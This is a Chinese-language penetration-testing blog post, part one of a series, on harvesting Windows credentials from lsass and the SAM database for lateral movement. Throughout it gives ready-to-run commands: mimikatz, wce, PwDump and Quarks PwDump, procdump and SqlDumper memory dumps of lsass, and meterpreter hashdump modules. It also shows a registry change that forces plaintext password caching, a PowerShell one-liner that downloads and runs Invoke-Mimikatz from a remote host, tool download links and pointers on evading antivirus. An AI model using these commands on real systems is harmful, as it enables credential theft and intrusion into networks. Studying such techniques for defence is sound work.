• windows中抓取hash小结(上)


      我上篇随笔说到了内网中横向移动的几种姿势,横向移动的前提是获取了具有某些权限的用户的明文密码或hash,正愁不知道写点啥,那就来整理一下这个“前提”-----如何在windows系统中抓hash

    0x01 前言

     事先声明,本文还是暂时不考虑免杀的问题,有些杀软十分变态,针对lsass等关键部位的防护非常好,一有风吹草动立刻报警,绕过方法还有待测试......不过这并不耽误我整理一下小知识点(怒)

     本文中提到的“杀软”只是特指  XX安全软件  这一款安全产品,仅反映当前杀软的一个查杀趋势,不代表所有杀软,毕竟这东西能力有强有弱侧重点也有不同

     先说一下windows系统的身份认证机制

    windows中身份认证机制主要有两种:ntlm 、kerberos。ntlm用于本地和早期工作组环境(lm太老了不讨论),kerberos用于域环境

    其中ntlm应用非常广,既能用于有域环境的认证,也能用于没域环境的认证

    当ntlm用于没域环境的本地认证时:开机调用登录框让你输密码,系统把密码传给lsass.exe进程。lsass把你输入的密码二话不说先在内存中存一份明文的,当把明文密码加密成NTLM hash之后和windows系统本地存储的SAM数据库中这个登录用户的NTLM hash进行对比,如果一致则登录成功

    当ntlm用于有域环境的网络认证时:可以使用kerberos,也可以使用ntlm。这里的ntlm基于一种叫做challenge/response的机制(具体不展开了,网上有讲细节的),这个过程会用到域控中的本地数据库ntds.dit(这里有域用户的ntlm hash)

    可见整个过程都没有明文密码啥事情

    0x02 从SAM或lsass进程中抓取

    SAM在windows路径C:\windowsSystem32config下,是个锁定的不可复制的文件,于是在系统运行的时候经常在内存中找凭证

    1.mimikatz

    啊,这个,就不说了,之前文章演示好多了

    要抓哪台机器就在哪台机器上运行,管理员权限运行

    高版本windows系统(win10、win2012 R2以上版本存在只能抓hash不能抓明文的问题,会显示null,因为系统内存缓存中不再存有明文了)抓取明文存在问题,hash可以

    想要继续抓明文要改注册表:

    命令--------   reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

    对方目标机器再次登录就能用mimikatz抓明文了,但一般来说会把lsass转出来拖回本地来规避杀软,这个后面小点再说

    然而mimikatz不做免杀,基本上就会被杀软直接干掉,秒没

    这里有一个人R1ngk3y 有关mimikatz如何不被杀的一些思路,时间也比较久了,截止今日不知是否都还能用,未经验证仅供参考:https://www.freebuf.com/articles/web/176796.html

    2.getpass

    一个可以直接获得明文密码的工具,年久失修,虽然很多人提过这款工具,但我是没用过的,电脑里也没有(请原谅我的无知)

    3.wce

     啊,简单粗暴

    wce.exe -w  抓明文

    wce.exe -l 抓hash

    下载地址(链接来自看雪)
    http://www.ampliasecurity.com/research/wce_v1_4beta_x32.zip
    http://www.ampliasecurity.com/research/wce_v1_4beta_x64.zip
    http://www.ampliasecurity.com/research/wce_v1_4beta_universal.zip

    4.PwDump7

     

     保证这俩在一个目录下,直接cmd运行

     但是,抓出来的结果一言难尽......直接运行百分百被杀软杀,不运行也可能被杀

     PwDump8

    效果要比PwDump7好得多

     该抓的都抓到了,且没有被杀掉

    5.Quarks PwDump

     

     也是直接cmd运行的

    Quarks PwDump.exe --dump-hash-local 导出本地hash

     效果与PwDump7差不多,也是运行必被杀

    6.powershell

    不做特殊说明,以下脚本都默认会被查杀

    (1)Invoke-Mimikatz.ps1 

    用的是nishang里面带的

    在本地运行

    这个脚本还可以远程加载如:

    powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.25.203/');Invoke-Mimikatz -DumpCreds"

    但是这种动作和行为性质非常恶劣,一定会被杀软查杀的

    于是有了各种各样免杀的手段,特别好玩

    我推荐大佬  Tide重剑无锋   的这篇文章 https://www.freebuf.com/news/234365.html

    (我直呼好家伙,发律师函的怕不是手都发麻了)

    (2)Get-PassHashes.ps1

    powershell IEX (New-Object Net.WebClient).DownloadString('Get-PassHashes.ps1所在路径');Get-PassHashes
    啊,也是从nishang里面捞的

     还行,效果一般

    7.Procdump+mimikatz

     procdump,官方工具(意味着不会被当成病毒杀了),可将lsass.exe转储成dmp文件

    procdump.exe -accepteula -ma lsass.exe lsass.dmp   #32位系统
    procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp #64位系统

    然后用mimikatz读取

    sekurlsa::minidump lsass.dmp

    sekurlsa::logonpasswords full

     

     当然前提还是在目标机上读取的话,要免杀mimikatz,不然就拖回来读取

    8.注册表+mimikatz

    首先在目标机器上执行下图的命令导出三个文件,然后通过shell或者IPC$ copy或者net use共享或者什么办法把这三个文件下载回攻击机

     

     然后在本地上就可以用mimikatz来读取这三个文件了

     至于去破解还是去干嘛就随意了

    9.LaZagne

    基于py,密码抓取神器,能一键提取各种密码:浏览器、git、WiFi......

    这东西本身是py的,也有exe格式的

    下载链接:https://github.com/AlessandroZ/LaZagne

    https://github.com/AlessandroZ/LaZagne/releases/tag/2.4.3

    个人觉得还是exe的好用,py的需要安一堆依赖

    pip install -r requirements.txt

     运行权限越高可能抓到的密码就越多

    非常强悍,看得我后背发凉(还顺便找到了几个我自己都忘了是啥的密码)真就是啥都能抓到,既有hash也有明文糊脸

    (另:cmd窗体的结果如果看不全的话,把屏幕缓冲区大小调大即可)

    LaZagne有很多功能,详细命令网上有,不列举了

    但同样的问题,就是免杀,我本机上XX安全软件没有报警不意味着这个工具就是直接可用的

    10.框架调用

     msf中获得meterpreter后,在meterpreter>load mimikatz之后msv可获取hash(具体例子可以去翻我的第一篇博客,有关域渗透小实验的那个)

    先提个权getsystem

    msv     获取hash

    kerberos   获取明文

    mimikatz_command -f samdump::hashs   获取hash

    mimikatz_command -f sekurlsa::searchPasswords   获取明文

     

     这只是理论上的,实际上可能因为各种原因,失败抓不到也很正常......

    或者调用smart_hashdump脚本

    run windows/gather/smart_hashdump

     效果会好一些

     另外,cobalt strike与Empire中也能调用mimikatz,这个找机会讲到这俩的时候再说吧

    11.SqlDumper

    又一个微软的东西,SQLserver2000以上自带,作用就是将应用程序转储成dump文件

    我手中没有MSSQL环境了,无法演示了,大致过程如下:

    先在目标机器中找lsass的PID号

    然后把这个号带入 sqldumper.exe ProcessID 0 0x01100   这个语句中执行

    会导出一个mdmp文件,下载回本地mimikatz解析

    (写着写着刹不住车了,太长了影响观感。剩下内容就留到    windows中抓取hash小结(下) 中了)

     请转到windows中抓取hash小结(下)

    指路链接   https://www.cnblogs.com/lcxblogs/p/14002468.html

    随便转载,请标明作者出处

  • 相关阅读:
    随手
    会使用基本的Render函数后,就会想,这怎么用 v-for/v-if/v-model;我写个vue Render函数进阶
    iframe子页面与父页面元素的访问以及js变量的访问[zhuan]
    vue element-ui 的奇怪组件el-switch
    URLSearchParams和axios的post请求(防忘记)
    ios vue2.0使用html5中的audio标签不能播放音乐
    Unity Input System教程
    关于OpenGPU.org
    Better ultra_simple for Slamtec RPLIDAR on Linux
    八字心得
  • 原文地址:https://www.cnblogs.com/lcxblogs/p/13957899.html
Copyright © 2020-2023  润新知